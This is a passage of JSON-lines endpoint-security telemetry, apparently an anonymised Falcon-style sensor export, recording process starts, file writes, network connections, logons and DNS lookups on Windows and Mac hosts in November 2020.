/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"} -{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"} -{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"} -{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"} -{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"} -{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"} -{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"} -{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"} -{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"} -{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"} -{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"} -{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"} -{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"} -{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"} 